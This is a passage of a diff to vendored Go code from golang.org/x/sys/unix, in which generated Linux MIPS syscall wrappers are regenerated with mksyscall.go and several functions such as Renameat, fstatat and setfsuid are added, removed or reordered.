-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1590,7 +158,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1666,9 +234,18 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seek(fd int, offset int64, whence int) (off int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-- off = int64(r0)
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1677,9 +254,9 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-- n = int(r0)
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ off = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1699,8 +276,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1709,8 +287,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1830,6 +409,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
-@@ -2020,6 +609,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -2045,8 +649,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2065,6 +674,21 @@ func fstat(fd int, st *stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatat(dirfd int, path string, st *stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(st)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func lstat(path string, st *stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_mipsle.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_mipsle.go
-index 964591e5..84596b30 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_mipsle.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_mipsle.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -arm -tags linux,mipsle syscall_linux.go syscall_linux_mipsx.go
-+// go run mksyscall.go -l32 -arm -tags linux,mipsle syscall_linux.go syscall_linux_mipsx.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,mipsle
-@@ -14,1228 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
